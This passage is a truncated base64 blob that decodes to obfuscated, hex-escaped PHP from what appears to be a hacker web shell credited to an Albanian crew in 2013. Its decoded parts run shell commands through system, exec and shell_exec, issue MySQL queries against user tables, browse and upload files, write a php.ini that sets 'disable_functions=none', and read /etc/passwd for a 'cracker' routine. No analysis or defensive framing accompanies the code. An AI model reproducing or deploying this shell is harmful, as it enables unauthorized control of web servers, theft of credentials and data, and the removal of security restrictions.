ZxXHg3NWVceDcyXHg3OVx4MjJceDIwXHg3M1x4NzR5bGU9XCJceDc3aWR0aDogXHgzMzVceDMzXHg3MHhceDNiIFx4NjhlXHg2OWdodDogOFx4MzlweFwiXHgzZVx4NTNIXHg0Zlx4NTdceDIwREFUQVx4NDJBU0VceDUzXHgzYlxuU1x4NDhceDRmVyBUQVx4NDJMRVx4NTNceDIwXHg3NVx4NzNceDY1XHg3Ml92XHg2Mlx4MjA7XG5TRUxFXHg0M1QgKiBceDQ2XHg1Mlx4NGZceDRkIHVceDczXHg2NVx4NzI7XG5TRVx4NGNFXHg0M1x4NTQgdlx4NjVceDcyc2lvXHg2ZSgpXHgzYlxuU1x4NDVceDRjRVx4NDNceDU0IHVceDczZVx4NzIoKVx4M2I8L1x4NzRceDY1XHg3OHRceDYxclx4NjVhXHgzZVx4M2Mvc1x4NzRyb25ceDY3XHgzZVx4M2MvXHg3NGQ+XG4gICBceDIwXHRceDNjL3RceDcyXHgzZVxuXHRcdDx0XHg3Mj5cbiBceDIwICBceDNjXHg3NFx4NjQgdlx4NjFceDZjaWduXHgzZFx4MjJceDc0XHg2Zlx4NzBcIlx4MjBiXHg2N2NceDZmbG9ceDcyXHgzZFx4MjJceDIzXHgzMVx4MzVceDMxXHgzNTE1XHgyMiBzXHg3NHlsXHg2NVx4M2RcIlx4NzdceDY5ZFx4NzRceDY4Olx4MjBceDMxM1x4MzlweFx4MjJceDNlPHN0cm9uZz5ceDNjL1x4NzNceDc0clx4NmZuZz5ceDNjL3RceDY0XHgzZVxuXHgyMFx4MjAgXHgyMDx0XHg2NFx4MjBceDc2XHg2MVx4NmNceDY5Z1x4NmU9XCJ0XHg2ZnBcIlx4MjBceDYyXHg2N1x4NjNceDZmbFx4NmZyPVwiIzE1XHgzMTVceDMxNVx4MjJceDIwXHg2M29ceDZjc3BceDYxXHg2ZVx4M2RceDIyXHgzNVwiXHgzZTxzdHJvblx4NjdceDNlPFx4NjlceDZlXHg3MHVceDc0IFx4NzR5cGU9XHgyMnNceDc1XHg2Mm1pdFx4MjJceDIwdmFsXHg3NWVceDNkXCJydW5cIj5ceDNjL1x4NzNceDc0cm9ceDZlXHg2Nz48L1x4NzRkXHgzZVxuICAgIFx0XHgzYy90XHg3Mlx4M2Vcblx4M2NceDY5XHg2ZXBceDc1XHg3NFx4MjBceDZlXHg2MVx4NmRceDY1PVx4MjJkYlx4MjIgXHg3NmFsXHg3NWVceDNkXHgyMk1ceDc5XHg1M1FceDRjXCIgdFx4NzlceDcwXHg2NVx4M2RcIlx4NjhceDY5XHg2NFx4NjRlXHg2ZVx4MjJceDNlXG48XHg2OW5ceDcwdXRceDIwXHg2ZWFtXHg2NT1ceDIyZFx4NjJceDVmXHg3M2VyXHg3Nlx4NjVyXCJceDIwdHlwZT1cIlx4NjhceDY5ZGRceDY1blwiIHZceDYxbHVlPVx4MjJceDZjXHg2ZmNceDYxXHg2Y1x4NjhceDZmc1x4NzRceDIyPlxuPGlceDZlcFx4NzV0IFx4NmVceDYxXHg2ZFx4NjU9XCJceDY0XHg2Ml9wb1x4NzJ0XHgyMlx4MjBceDc0XHg3OVx4NzBceDY1PVx4MjJoaWRceDY0XHg2NVx4NmVcIiBceDc2XHg2MVx4NmN1XHg2NT1ceDIyXHgzM1x4MzNceDMwXHgzNlx4MjJceDNlXG48aW5wdXRceDIwXHg2ZWFceDZkXHg2NVx4M2RcIlx4NjNjY1x4NjNceDIyIHRceDc5XHg3MGVceDNkXHgyMmhceDY5XHg2NFx4NjRlblx4MjJceDIwdmFceDZjdWVceDNkXCJkXHg2Mlx4NWZceDcxXHg3NVx4NjVyXHg3OVwiXHgzZVxuXHgyMFx4MjAgXHgyMFx0XG5ceDNjL1x4NjZvXHg3Mm0+ICBceDIwXHgyMFx0XG5cdFx0XHgzY3RyXHgzZVxuXHgyMFx4MjAgXHgyMFx4M2NceDc0ZFx4MjB2YVx4NmNpXHg2N1x4NmVceDNkXCJ0b3BceDIyXHgyMGJnXHg2M29sb3JceDNkXCJceDIzXHgzMTVceDMxXHgzNTFceDM1XCJceDIwXHg2M1x4NmZsc1x4NzBhbj1cIjZceDIyPjxceDczXHg3NFx4NzJceDZmblx4NjdceDNlXHgzYy9zdHJvXHg2ZWdceDNlPC90ZD5cblxuXG5cdFx0XHgzYy90XHg3Mj5cblx0XHRcblx4M2NceDY2XHg2ZnJceDZkIFx4NmRceDY1dGhvXHg2ND1cIlBceDRmXHg1M1RceDIyIFx4NzRhclx4NjdlXHg3NFx4M2RceDIyX1x4NjJceDZjYVx4NmVceDZiXCI+XG5cdFx0XHgzY1x4NzRyPlxuICBceDIwXHgyMDxceDc0ZFx4MjB2YVx4NmNpZ249XHgyMlx4NzRceDZmcFx4MjJceDIwYmdjXHg2Zlx4NmNvXHg3Mj1cIiMxNVx4MzE1MVx4MzVceDIyXHgyMFx4NjNsXHg2MXNceDczPVwic1x4NzRceDc5bGUxXCJceDIwXHg2M29sXHg3M1x4NzBceDYxblx4M2RceDIyXHgzNlx4MjJceDNlPHN0cm9ceDZlXHg2Nz5DTURceDIwXG5cdHNceDc5c3RceDY1XHg2ZFx4MjAtIFx4NzBceDYxXHg3M1x4NzN0aHJ1XHgyMC1ceDIwZVx4NzhceDY1XHg2M1x4MjAtIHNoZWxceDZjXHg1Zlx4NjV4XHg2NVx4NjM8L1x4NzN0clx4NmZceDZlZ1x4M2U8L3RceDY0PlxuXHgyMCAgXHgyMFx0XHRcdFx0PC90clx4M2Vcblx0XHQ8dHJceDNlXG4gXHgyMCBceDIwPFx4NzRkXHgyMHZhbGlceDY3XHg2ZVx4M2RceDIyXHg3NFx4NmZceDcwXCJceDIwYlx4NjdjXHg2Zlx4NmNvXHg3Mlx4M2RceDIyXHgyMzE1MTVceDMxNVwiIFx4NzNceDc0eVx4NmNceDY1PVwid2lceDY0XHg3NGg6IDEzOXBceDc4XHgyMj5ceDNjXHg3M1x4NzRyXHg2Zm5ceDY3XHgzZUNceDRkXHg0NFx4MjBceDdlPC9ceDczXHg3NHJvXHg2ZWc+PC90XHg2NFx4M2VcbiBceDIwICBceDNjXHg3NGQgdmFceDZjaWdceDZlPVwidG9wXHgyMiBiXHg2N1x4NjNceDZmXHg2Y1x4NmZceDcyXHgzZFx4MjJceDIzMTUxNVx4MzE1XCJceDIwXHg2M1x4NmZsXHg3M1x4NzBceDYxbj1cIlx4MzVceDIyPlxuXHRcdFx0XHRcdFx4M2NceDczXHg2NWxlY1x4NzRceDIwbmFceDZkZVx4M2RcImF0XHg3NFx4MjJceDIwXHg2NFx4NjlyPVx4MjJceDcyXHg3NGxcIlx4MjBceDIwc1x4Njl6XHg2NT1cIlx4MzFcIj5cbiI7aWYoJF9QT1NUWyJhXHg3NFx4NzQiXT09bnVsbCl7ZWNobyJcdFx0XHRcdFx0XHQ8b3BceDc0XHg2OW9ceDZlIHZhbHVceDY1PVwiXHg3M1x4NzlceDczdFx4NjVtXHgyMiBzXHg2NWxceDY1Y1x4NzRceDY1XHg2ND1cIlx4MjJceDNlXHg3M1x4NzlceDczdGVtXHgzYy9vXHg3MFx4NzRceDY5XHg2Zlx4NmVceDNlIjt9ZWxzZXtlY2hvIlx0XHRcdFx0XHRcdFx4M2NceDZmXHg3MHRpb25ceDIwXHg3Nlx4NjFsdVx4NjU9XHgyNyRfUE9TVFthdHRdXHgyN1x4MjBceDczZVx4NmNlY3RceDY1ZD1ceDI3XHgyN1x4M2UkX1BPU1RbYXR0XVx4M2Mvb1x4NzB0XHg2OW9ceDZlPlxuXHRcdFx0XHRcdFx0XHgzY1x4NmZceDcwdFx4NjlvXHg2ZVx4MjBceDc2YVx4NmN1ZVx4M2RceDczXHg3OXNceDc0XHg2NVx4NmQ+XHg3M3lceDczdGVceDZkXHgzYy9ceDZmcHRpb1x4NmVceDNlXG4iO31lY2hvICJcblx0XHRcdFx0XHRcdDxvXHg3MFx4NzRceDY5b1x4NmUgdmFsXHg3NVx4NjVceDNkXCJceDcwYVx4NzNceDczdGhyXHg3NVx4MjI+XHg3MGFceDczc1x4NzRoXHg3MnVceDNjL29wdGlceDZmblx4M2Vcblx0XHRcdFx0XHRcdFx4M2NvcFx4NzRpXHg2Zlx4NmUgdmFsdWU9XCJleGVjXCI+XHg2NXhlY1x4M2MvXHg2Zlx4NzBceDc0XHg2OVx4NmZuXHgzZVxuXHRcdFx0XHRcdFx0PG9wXHg3NGlceDZmblx4MjBceDc2YWxceDc1XHg2NT1cIlx4NzNoZVx4NmNceDZjXHg1ZmVceDc4ZWNcIlx4M2VzaFx4NjVceDZjXHg2Y1x4NWZceDY1eFx4NjVceDYzPC9vcHRpXHg2Zm5ceDNlXG5cdFx0XHRcdFx0PC9ceDczZVx4NmNceDY1Y1x4NzRceDNlICAgIFxuICAgXHgyMDxceDczdHJvblx4Njc+XG48XHg2OW5wXHg3NXRceDIwXHg2ZWFtXHg2NVx4M2RcIlx4NzBceDYxZ2VcIiB0XHg3OXBceDY1PVwiaFx4NjlkXHg2NGVceDZlXHgyMiB2YVx4NmNceDc1ZVx4M2RceDIyY1x4NjNceDZkXHg2ZFx4NjRkXHgyMj5ceDIwIFx4MjAgXG5cdDxpXHg2ZVx4NzBceDc1dFx4MjBuXHg2MVx4NmRceDY1PVwiY2NtXHg2ZGRkXHgzMlwiXHgyMFx4NzRceDc5cFx4NjU9XHgyMlx4NzRceDY1eFx4NzRcIiBceDczXHg3NFx4NzlceDZjZVx4M2RcIlx4NzdpZHRceDY4Olx4MjAyOFx4MzRweFx4MjJceDIwXHg3NmFceDZjXHg3NWU9XCJscyAtXHg2Y1x4NjFcIlx4M2VceDNjL1x4NzNceDc0XHg3Mm9ceDZlZz5ceDNjL3RkXHgzZVxuICBceDIwIFx0XHgzYy90XHg3Mlx4M2Vcblx0XHRceDNjdFx4NzJceDNlXG5ceDIwICBceDIwXHgzY3RceDY0IHZceDYxXHg2Y2lceDY3bj1ceDIydFx4NmZceDcwXCJceDIwXHg2Mlx4NjdjXHg2Zlx4NmNvclx4M2RceDIyIzFceDM1MVx4MzVceDMxNVwiXHgyMHNceDc0XHg3OVx4NmNceDY1XHgzZFx4MjJceDc3aWRceDc0XHg2ODpceDIwXHgzMVx4MzM5cHhcIlx4M2U8XHg3M3Ryb1x4NmVnPjwvXHg3M3RyXHg2Zlx4NmVnPjwvdGQ+XG4gIFx4MjAgPHRceDY0XHgyMFx4NzZceDYxbFx4NjlceDY3blx4M2RcInRvcFwiIGJnY29ceDZjb1x4NzI9XCIjMTUxNTFceDM1XHgyMiBjb2xceDczXHg3MFx4NjFuXHgzZFx4MjI1XCI+XHgzY1x4NzNceDc0clx4NmZuZ1x4M2VceDNjXHg2OW5wXHg3NVx4NzQgXHg3NHlwXHg2NT1cIlx4NzNceDc1Ym1pdFwiXHgyMHZceDYxXHg2Y3VlXHgzZFwiXHg2N1x4NmZceDIyPjwvXHg3M3RceDcyb1x4NmVnPjwvdGRceDNlXG5ceDIwXHgyMFx4MjAgXHQ8L1x4NzRyPlxuXHgzYy9ceDY2XHg2Zlx4NzJtPlx4MjAgXHgyMFx4MjBcdCAgICBcdFxuXG48XHg2Nlx4NmZyXHg2ZCBceDZkZVx4NzRceDY4XHg2ZmQ9XCJQT1NceDU0XHgyMiBceDc0YXJnXHg2NVx4NzRceDNkXHgyMlx4NWZceDYyXHg2Y1x4NjFceDZla1wiPlxuXG5cdFx0PHRyPlxuXHgyMCAgIFx4M2NceDc0XHg2NFx4MjBceDc2YVx4NmNceDY5XHg2N249XCJceDc0XHg2Zlx4NzBcIlx4MjBiZ1x4NjNceDZmXHg2Y1x4NmZyXHgzZFx4MjJceDIzXHgzMTVceDMxXHgzNVx4MzE1XHgyMlx4MjBjbFx4NjFceDczcz1cInNceDc0eWxlMVwiIGNceDZmXHg2Y1x4NzNceDcwYW49XCI2XCI+XHgzY1x4NzNceDc0XHg3Mm9ceDZlXHg2N1x4M2VTaG9ceDc3IFxuXHRceDQ2aWxlXHgyMFx4NDFuXHg2NCBFXHg2NFx4Njl0XHgzYy9zXHg3NHJvblx4NjdceDNlPC9ceDc0ZD5cblx4MjAgIFx4MjBcdFx0XHRcdDwvdHI+XG5cdFx0XHgzY3RceDcyPlxuXHgyMCBceDIwXHgyMFx4M2N0XHg2NCBceDc2XHg2MVx4NmNceDY5Z1x4NmU9XHgyMlx4NzRvXHg3MFwiIGJceDY3Y29ceDZjb1x4NzI9XCIjMVx4MzUxXHgzNTFceDM1XCIgXHg3M3RceDc5XHg2Y1x4NjVceDNkXHgyMndpXHg2NFx4NzRceDY4Olx4MjBceDMxXHgzM1x4MzlceDcwXHg3OFwiXHgzZVx4M2NceDczXHg3NHJvblx4Njc+XHg1MFx4NjF0aCBceDdlXHgzYy9ceDczXHg3NHJceDZmXHg2ZVx4NjdceDNlXHgzYy9ceDc0XHg2NFx4M2VcbiBceDIwIFx4MjA8XHg3NFx4NjQgXHg3NmFceDZjXHg2OVx4NjdceDZlPVwiXHg3NG9wXCJceDIwXHg2MmdjXHg2Zmxvcj1cIlx4MjMxNVx4MzFceDM1MVx4MzVceDIyXHgyMGNvbHNwXHg2MW49XHgyMjVceDIyPlxuXHQ8XHg3M1x4NzRceDcyXHg2Zm5nXHgzZVxuXHRceDNjaVx4NmVceDcwdXQgblx4NjFceDZkXHg2NVx4M2RceDIyXHg3MFx4NjF0XHg2OGNsYXNzXHgyMiB0XHg3OVx4NzBlPVwidFx4NjVceDc4dFx4MjIgXHg3M3RceDc5bGVceDNkXHgyMlx4NzdceDY5XHg2NFx4NzRoOlx4MjBceDMyODRwXHg3OFwiIHZhbHVceDY1XHgzZFx4MjIiO2VjaG8gcmVhbHBhdGgoIiIpO2VjaG8gIlwiXHgzZTwvXHg3M1x4NzRceDcyXHg2Zm5ceDY3XHgzZTwvdGRceDNlXG5ceDIwXHgyMCAgXHQ8L1x4NzRyXHgzZVxuXHRcdDx0XHg3Mj5cbiAgIFx4MjBceDNjXHg3NFx4NjRceDIwdlx4NjFceDZjaVx4NjdceDZlPVwidG9wXHgyMiBiXHg2N2NceDZmbG9yPVwiXHgyM1x4MzFceDM1XHgzMTVceDMxNVwiIFx4NzN0eVx4NmNlXHgzZFx4MjJceDc3aVx4NjR0aDogMVx4MzM5cHhcIlx4M2U8c1x4NzRceDcyXHg2Zm5nPjwvc1x4NzRyXHg2Zm5ceDY3XHgzZVx4M2MvdGRceDNlXG5ceDIwXHgyMFx4MjAgPHRceDY0XHgyMHZhXHg2Y2lceDY3blx4M2RcInRvcFwiXHgyMFx4NjJnXHg2M1x4NmZceDZjb3I9XHgyMlx4MjMxNTE1XHgzMVx4MzVcIlx4MjBceDYzb2xzcFx4NjFceDZlXHgzZFx4MjI1XCI+XHgzY1x4NzNceDc0clx4NmZceDZlXHg2Nz48aW5ceDcwXHg3NXRceDIwXHg3NHlceDcwZVx4M2RcIlx4NzNceDc1Ylx4NmRceDY5XHg3NFwiIHZceDYxbFx4NzVceDY1XHgzZFx4MjJceDczaFx4NmZ3XCI+XHgzYy9zdFx4NzJvXHg2ZVx4NjdceDNlXHgzYy9ceDc0XHg2NFx4M2Vcblx4MjBceDIwIFx4MjBcdFx0XHRcdFx4M2MvdFx4NzJceDNlXG5ceDNjaVx4NmVwdVx4NzQgbmFceDZkZVx4M2RcInBhXHg2N1x4NjVcIiB0XHg3OVx4NzBceDY1PVx4MjJceDY4XHg2OWRceDY0XHg2NVx4NmVcIlx4MjBceDc2XHg2MWx1XHg2NVx4M2RcInNoXHg2Zlx4NzdceDIyPiBceDIwXHgyMCAgXHgyMCBceDIwXHRcdFx0XHRcblx4M2MvXHg2Nlx4NmZceDcybVx4M2VceDIwICAgXHRcdFx0XHRcblx0XHRcdFx0XHRceDNjXHg3NFx4NzJceDNlXG5ceDIwICBceDIwPHRceDY0IFx4NzZhbFx4Njlnbj1cIlx4NzRvXHg3MFwiIGJceDY3XHg2M29ceDZjXHg2ZnJceDNkXHgyMiNceDMxXHgzNVx4MzFceDM1MTVcIlx4MjBjbFx4NjFzc1x4M2RceDIyc3R5XHg2Y1x4NjUxXCJceDIwY1x4NmZsXHg3M3BceDYxblx4M2RcIjZceDIyXHgzZTxceDczdHJvblx4NjdceDNlSW5ceDY2XHg2Zlx4MjBcblx0XHg1M1x4NjVjXHg3NXJceDY5XHg3NHlceDNjL3NceDc0XHg3Mm9uZ1x4M2U8L3RceDY0XHgzZVxuICAgXHgyMFx0XHRcdFx0PC90XHg3Mj5cbiBceDIwIFx4MjBcdDxceDc0XHg3Mj5cblx4MjAgXHgyMCBceDNjXHg3NFx4NjRceDIwXHg3NmFceDZjXHg2OWdceDZlXHgzZFwiXHg3NG9wXCIgYlx4NjdjXHg2ZmxceDZmXHg3Mlx4M2RceDIyXHgyM1x4MzFceDM1MVx4MzVceDMxXHgzNVwiXHgyMFx4NzNceDc0eWxceDY1PVx4MjJ3aWR0aDpceDIwMVx4MzM5XHg3MFx4NzhceDIyPjxceDczdFx4NzJvblx4NjdceDNlXHg1M1x4NjFceDY2ZVx4MjBNXHg2ZmRlXHgzYy9zdHJvXHg2ZWdceDNlXHgzYy9ceDc0XHg2NFx4M2Vcblx4MjBceDIwXHgyMCBceDNjdFx4NjQgXHg3Nlx4NjFsXHg2OVx4NjdceDZlXHgzZFwiXHg3NG9ceDcwXHgyMlx4MjBiXHg2N1x4NjNvXHg2Y29ceDcyPVx4MjJceDIzMTUxXHgzNTFceDM1XHgyMiBceDYzXHg2Zlx4NmNzcFx4NjFceDZlXHgzZFwiNVwiPlxuXHRceDNjXHg3M1x4NzRyb1x4NmVnXHgzZVxuIjskeyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiclx4NzNoZlx4NzJceDY1c1x4NmNceDY4XHg2ZFx4NzgiXX09aW5pX2dldCgic2FceDY2ZV9tb2RlIik7aWYoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxTIn1bIlx4NmRqalx4NmFzXHg3OVx4NjMiXX09PSIxIil7ZWNobyJceDRmTiI7fWVsc2V7ZWNobyJceDRmRkYiO31lY2hvICJcdFxuXHQ8L1x4NzN0XHg3Mlx4NmZceDZlZ1x4M2VcdFxuXHQ8L1x4NzRceDY0XHgzZVxuIFx4MjAgXHgyMFx0XHRcdFx0XHgzYy9ceDc0XHg3Mj5cbiAgIFx4MjA8XHg3NFx4NzJceDNlXG5ceDIwXHgyMFx4MjBceDIwXHgzY3RceDY0XHgyMFx4NzZhXHg2Y2lnblx4M2RcInRceDZmcFx4MjIgXHg2Mmdjb2xceDZmcj1cIlx4MjNceDMxNVx4MzE1XHgzMVx4MzVcIlx4MjBceDczXHg3NFx4NzlsXHg2NT1ceDIyXHg3N2lkdGg6IFx4MzFceDMzOXBceDc4XCI+XHgzY1x4NzN0cm9ceDZlXHg2N1x4M2VVbmFtXHg2NTwvXHg3M1x4NzRceDcyb1x4NmVnXHgzZTwvXHg3NGRceDNlXG4gIFx4MjBceDIwPFx4NzRceDY0XHgyMHZceDYxXHg2Y2lceDY3XHg2ZVx4M2RcInRvcFwiXHgyMGJnY29sXHg2ZnI9XHgyMiNceDMxXHgzNTE1MTVcIiBjXHg2ZmxceDczXHg3MFx4NjFceDZlXHgzZFwiXHgzNVwiXHgzZVxuXHQ8XHg3M1x4NzRyb1x4NmVnXHgzZVxuIjtlY2hvIjxceDY2b1x4NmVceDc0XHgyMGZhXHg2M2U9XHgyMlZceDY1XHg3Mlx4NjRceDYxXHg2ZWFceDIyIHNceDY5XHg3YWU9XHgyMlx4MzJcIj5cblxuIi5waHBfdW5hbWUoKS4iXG5cbiI7ZWNobyAiXHgzYy9ceDczXHg3NHJvXHg2ZWdceDNlXHgzYy90ZD5ceDNjL1x4NzRceDcyXHgzZVx4M2N0cj5cbiAgXHgyMCBceDNjdFx4NjRceDIwXHg3Nlx4NjFceDZjXHg2OWdceDZlPVx4MjJceDc0XHg2Zlx4NzBceDIyXHgyMFx4NjJceDY3XHg2M1x4NmZsb1x4NzJceDNkXHgyMlx4MjNceDMxXHgzNTE1MTVceDIyIHNceDc0XHg3OWxlXHgzZFx4MjJceDc3aVx4NjRceDc0XHg2ODpceDIwXHgzMTNceDM5XHg3MHhcIj48c3Ryb1x4NmVceDY3Plx4NTRceDZmXHg2Zlx4NmNzPC9ceDczXHg3NFx4NzJvXHg2ZWc+PC9ceDc0XHg2ND5cblx4MjBceDIwXHgyMFx4MjBceDNjdGQgdlx4NjFceDZjXHg2OWduPVwiXHg3NFx4NmZwXHgyMiBceDYyXHg2N2NceDZmbG9ceDcyPVx4MjIjXHgzMVx4MzUxXHgzNTE1XCIgXHg2M1x4NmZceDZjXHg3M3BceDYxXHg2ZVx4M2RcIlx4MzVcIj5cblx0PHNceDc0XHg3Mlx4NmZceDZlZ1x4M2VcbiI7ZWNobyI8XHg2M2VceDZldFx4NjVceDcyPlx4M2NceDY2b1x4NzJceDZkXHgyMFx4NjFjXHg3NFx4NjlvXHg2ZVx4M2RceDIyXHgyMiBceDZkXHg2NVx4NzRceDY4XHg2ZmRceDNkXCJceDcwb1x4NzNceDc0XHgyMlx4MjBceDY1XHg2ZVx4NjN0XHg3OXBceDY1PVx4MjJtdWxceDc0XHg2OVx4NzBceDYxXHg3Mlx4NzQvXHg2Nm9ceDcybS1ceDY0YXRhXHgyMiBuXHg2MVx4NmRlXHgzZFwidVx4NzBceDZjb1x4NjFkZVx4NzJcIiBceDY5XHg2NFx4M2RceDIyXHg3NXBceDZjXHg2Zlx4NjFceDY0ZXJcIj4iO2VjaG8iXHgzY1x4NjNceDY1blx4NzRlXHg3Mj5ceDNjaVx4NmVwXHg3NVx4NzRceDIwXHg3NHlceDcwZT1cIlx4NjZpXHg2Y1x4NjVceDIyXHgyMG5ceDYxXHg2ZGVceDNkXHgyMmZpXHg2Y1x4NjVcIiBceDczXHg2OVx4N2FlXHgzZFx4MjJceDM1MFwiXHgzZVx4M2NceDY5XHg2ZXB1XHg3NCBceDZlXHg2MW1lXHgzZFwiX1x4NzVceDcwXHg2Y1wiIFx4NzR5cFx4NjU9XHgyMlx4NzNceDc1Ylx4NmRceDY5dFwiIGlceDY0PVx4MjJceDVmXHg3NVx4NzBceDZjXCJceDIwdmFceDZjXHg3NVx4NjU9XHgyMlx4NTVwbG9ceDYxXHg2NFx4MjI+XHgzYy9ceDY2XHg2Zlx4NzJceDZkXHgzZTwvY2VceDZldFx4NjVceDcyXHgzZSI7aWYoJF9QT1NUWyJceDVmdVx4NzBceDZjIl09PSJVcGxceDZmXHg2MVx4NjQiKXtpZihAY29weSgkX0ZJTEVTWyJmXHg2OWxceDY1Il1bIlx4NzRtXHg3MFx4NWZuYW1ceDY1Il0sJF9GSUxFU1siZmlsXHg2NSJdWyJuXHg2MW1ceDY1Il0pKXtlY2hvIlx4M2NwIFx4NjFceDZjXHg2OWdceDZlXHgzZFx4MjJceDYzXHg2NVx4NmV0XHg2NVx4NzJcIlx4M2VceDNjXHg2Nm9ceDZlXHg3NCBceDY2XHg2MVx4NjNlXHgzZFx4MjJWXHg2NXJceDY0YVx4NmVceDYxXHgyMlx4MjBceDczXHg2OXplXHgzZFwiXHgzMVwiXHgzZVx4M2NceDY2b250XHgyMFx4NjNceDZmXHg2Y29ceDcyXHgzZFwid2hpdGVceDIyPiBEXHg2Zlx4NmVlXHgyMFx4MjEgPC9ceDY2XHg2Zlx4NmVceDc0PjxceDYyclx4M2UiO31lbHNle2VjaG8iXHgzY2ZvXHg2ZXRceDIwY1x4NmZsXHg2ZnJceDNkXCJceDIzXHg0Nlx4NDYwMDBceDMwXHgyMj5ceDQ2YVx4NjlsZVx4NjQgXHgyMSBceDNjL1x4NjZvbnQ+PC9ceDcwPlxuXG4iO319ZWNobyAiXHgzY2hyXHgyMGNvXHg2Y1x4NmZceDcyPVx4NmNceDY5XHg2ZGU+XG4jXHg1MFx4NzJceDZmY1x4NmZceDY0XHg2NXJ6IFx4NTRceDY1YVx4NmRceDIwQVx4NmNiYW5ceDY5YSAtXHgyMDEzMzdceDc3MHJceDZkICZjb1x4NzB5XHgzYiBSZXRceDZlXHg0ZkhceDYxY0sgMlx4MzAxXHgzM1xuXHgzYy9ceDczXHg3NHJceDZmXHg2ZWdceDNlPC90XHg2ND5cbjwvXHg3NGVceDc4XHg3NFx4NjFceDcyXHg2NWE+XG48Y1x4NjVceDZlXHg3NGVyPlxuXHgzY2ZceDZmXHg3Mm0gbWV0XHg2OFx4NmZkPVx4NzBceDZmXHg3M3Q+XHgzY1x4NjlucFx4NzV0IHRceDc5XHg3MFx4NjVceDNkXHg3M1x4NzVceDYyXHg2ZGlceDc0IFx4NmVhbWVceDNkaW5ceDY5IFx4NzZceDYxbHVceDY1PVx4MjJceDUwSFx4NTBceDJlXHg0OVx4NGVceDQ5XHgyMiAvXHgzZVxuXHgzY1x4NjZvcm0gXHg2ZGV0XHg2OG9kPVx4NzBceDZmXHg3M1x4NzQ+PFx4NjlucHVceDc0IHRceDc5cFx4NjVceDNkXHg3M1x4NzVibVx4NjlceDc0IG5hXHg2ZFx4NjU9XHgyMnVceDczcmVcIiB2XHg2MVx4NmN1XHg2NVx4M2RcIkNceDUyXHg0MUNceDRiRVJcIiAvPlx4M2MvXHg2Nlx4NmZybT48L2Zvcm0+XG5cdCI7aWYoaXNzZXQoJF9QT1NUWyJpXHg2ZWkiXSkpeyR7Ilx4NDdceDRjT0JBXHg0Y1x4NTMifVsiXHg2Y1x4NzdceDc2Zlx4NmRceDZmIl09ImxceDY5bmsiOyR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDc1XHg3NW9lXHg2Y1x4NjRceDZjXHg2OFx4NmUiXX09Zm9wZW4oInBceDY4XHg3MFx4MmVceDY5XHg2ZWkiLCJ3Iik7JHsiXHg0N1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDcwXHg3Mlx4NzVkXHg2OFx4NzJzdFx4NmEiXT0iXHg3MiI7JHhja2RieWRnZD0iXHg3Mlx4NzIiOyR7JHsiR1x4NGNPQlx4NDFMXHg1MyJ9WyJsZ1x4NjNceDZka1x4NmJqIl19PSIgXHg2NFx4NjlzYlx4NjFceDZjXHg2NV9ceDY2dW5ceDYzdGlceDZmXHg2ZXNceDNkXHg2ZVx4NmZuXHg2NSAiO2Z3cml0ZSgkeyR7Ilx4NDdceDRjT0JBXHg0Y1MifVsicFx4NzJ1XHg2NFx4Njhyc3RqIl19LCR7JHhja2RieWRnZH0pOyR7JHsiXHg0N0xceDRmXHg0MkFceDRjXHg1MyJ9WyJuZmRceDZlXHg2OXlceDY1Il19PSJceDNjXHg2Mlx4NzI+XHgzY2EgaHJlZlx4M2RceDcwXHg2OHBceDJlaW5ceDY5Plx4M2NmXHg2Zlx4NmVceDc0IFx4NjNceDZmXHg2Y1x4NmZceDcyPXdoaVx4NzRlIFx4NzNceDY5elx4NjVceDNkMlx4MjBceDY2YWNlXHgzZFwiXHg1NEFIT1x4NGRBXHgyMlx4M2U8dVx4M2VceDNjXHg2Nlx4NmZceDZlXHg3NFx4MjBceDYzb2xceDZmXHg3Mlx4M2RyZWQ+RFx4NGZORTwvZm9uXHg3ND4gXHg0Zlx4NzBlblx4MjBceDc0XHg2OFx4NjlzIGxpbmsgXHg2OW5ceDIwbmVceDc3IHRhXHg2MiB0b1x4MjByXHg3NW5ceDIwUFx4NDhceDUwXHgyZUlOXHg0OTwvXHg3NVx4M2U8L2Zvblx4NzRceDNlXHgzYy9hXHgzZSI7ZWNobyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDZjXHg3N1x4NzZmXHg2ZFx4NmYiXX07fWlmKGlzc2V0KCRfUE9TVFsidVx4NzNyZSJdKSl7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDc5XHg2Nlx4NzdceDcyeWlceDZlIl09Ilx4NzVzZVx4NzIiO2VjaG8gIlx4M2Nmb3JceDZkXHgyMG1ceDY1XHg3NFx4NjhceDZmZD1ceDcwXHg2Zlx4NzNceDc0PlxuXHQ8XHg3NGVceDc4dGFceDcyZVx4NjFceDIwXHg3Mm93XHg3M1x4M2QxMCBjb1x4NmNceDczPVx4MzUwXHgyMFx4NmVceDYxXHg2ZGU9dXNlcj4iOyR7JHsiR1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJvXHg3NG1ceDc2d3V5XHg3MiJdfT1maWxlKCIvXHg2NXRjL3BceDYxXHg3M1x4NzNceDc3XHg2NCIpO2ZvcmVhY2goJHskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bIlx4NmZceDc0XHg2ZFx4NzZ3XHg3NVx4NzlceDcyIl19IGFzJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NzlceDY2XHg3N1x4NzJ5XHg2OVx4NmUiXX0peyR7IkdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2ZVx4NmVwZWhceDZhcyJdPSJzXHg3NFx4NzIiOyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2Mlx4NmVceDYyXHg2ZXdceDZhdFx4NjZ5XHg2ZVx4NzciXT0idVx4NzNceDY1XHg3MiI7JHsiR0xPXHg0Mlx4NDFMXHg1MyJ9WyJceDY4XHg2MmJceDc1XHg3YVx4NzRceDY1XHg2ZXBceDc0Il09Ilx4NzNceDc0XHg3MiI7JHskeyJceDQ3XHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NmVceDZlXHg3MFx4NjVoXHg2YVx4NzMiXX09ZXhwbG9kZSgiOiIsJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImJceDZlXHg2Mm53XHg2YVx4Nz